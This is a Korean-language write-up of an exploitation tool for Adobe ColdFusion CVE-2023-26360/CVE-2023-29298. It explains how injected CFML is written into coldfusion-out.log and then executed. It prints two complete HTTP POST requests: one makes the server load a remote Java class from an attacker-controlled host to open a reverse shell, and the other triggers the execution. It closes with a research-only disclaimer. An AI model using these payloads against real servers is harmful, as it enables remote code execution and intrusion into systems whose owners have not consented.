
Adobe ColdFusion CVE-2023-26360/CVE-2023-29298 자동화 리버스 셸 구현
CVE-2023-29298/CVE-2023-26360 취약점 악용 리버스 셸 도구
취약점 원리는 우리가 구성한 CFML 데이터 클라이언트 요청 데이터가 서버의 coldfusion-out.log에 저장된다는 것입니다. 이 디렉터리는 요청 오류 정보를 기록하며, coldfusion-out.log 파일 안에 우리가 작성한 코드가 들어가게 됩니다. 그런 다음 classname을 사용하여 이 로그 파일을 읽고 실행하여 코드 실행 효과를 얻습니다.
여기에 한 가지 아이디어가 있습니다. 악성 class를 서버에 업로드한 다음 이 class 파일을 다운로드하여 저장하고 호출하는 것입니다. 위의 취약점을 통해 동적으로 클래스를 로드하여 우리의 class 파일을 호출하고 실행하게 합니다.
스크립트를 하나 작성합니다. 이 스크립트는 압축 패키지를 생성하며, 그 압축 패키지 안에는 다음과 같은 구조가 있습니다.
압축 패키지의 code 디렉터리 아래:
utilize
├── address
└── Poc.class
Poc.java에는 주로 리버스 셸 코드가 들어 있습니다.
address에는 주소와 포트를 저장합니다.
위 기능을 구현하는 것은 매우 매우 번거롭습니다. 그래서 자동 생성 도구를 작성했습니다. Java 바이트코드 파일을 빌드하고, 리버스 셸 IP와 포트를 설정한 다음 웹을 엽니다.
工具名称 -host 指定反弹IP -port 指定反弹端口 -p 指定http端口(默认8888)
확인해 보겠습니다.

확인해 보세요.

그런 다음 요청하여 로그에 오류 코드를 기록합니다. 아래 POST 데이터 부분의 http://192.168.191.58:8888/GjfZgo를 서비스가 시작된 주소로 변경하세요.
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 816
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables=%7b%3ccftry%3e%3ccfset%20szlh%20%3d%20createObject%28%27java%27%2c%27java.net.URL%27%29.init%28%27http://192.168.191.58:8888/GjfZgo%27%29/%3e%3ccfset%20cafb%20%3d%20createObject%28%27java%27%2c%27java.lang.reflect.Array%27%29/%3e%3ccfset%20ireh%20%3d%20cafb.newInstance%28szlh.getClass%28%29%2c1%29/%3e%3ccfset%20cafb.set%28ireh%2c0%2cszlh%29/%3e%3ccfset%20fxlt%20%3d%20createObject%28%27java%27%2c%27java.net.URLClassLoader%27%29.init%28ireh%2cjavaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfset%20fxlt.loadClass%28%27code.Payload%27%29.newInstance%28%29.main%28javaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfcatch%20type%3d%27any%27%3e%3c/cfcatch%3e%3ccffinally%3e%3ccffile%20action%3d%27write%27%20file%3d%27%23GetCurrentTemplatePath%28%29%23%27%20output%3d%27%27%3e%3c/cffile%3e%3c/cffinally%3e%3c/cftry%3e
그런 다음 로그 안의 코드를 실행합니다. 고정된 값을 직접 전송합니다.
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables={"_metadata":{"classname":"l/../logs/coldfusion-out.log"},"_variables":[]}
실행해서 확인해보니 셸이 올라왔습니다.

\1. 이 보안 도구는 기술 연구 및 교육 목적으로만 제공됩니다. 도구를 사용할 때 적용 가능한 법률, 규정 및 윤리 기준을 준수하십시오.
\2. 이 도구는 보안 취약점 테스트 및 침투 테스트를 포함할 수 있습니다. 그러나 반드시 승인된 범위 내에서 사용해야 하며, 그렇지 않을 경우 작성자와 무관합니다.
\3. 이 도구를 사용하는 것은 일정한 위험과 불확실성을 수반할 수 있으며, 사용자는 이 도구를 사용함으로써 발생하는 위험을 스스로 감수해야 합니다.
\4. 본 도구를 사용하는 사용자는 모든 위험과 책임을 스스로 부담해야 합니다. 개발자는 사용자가 본 도구를 사용하여 발생하는 결과에 대해 어떠한 책임도 지지 않습니다.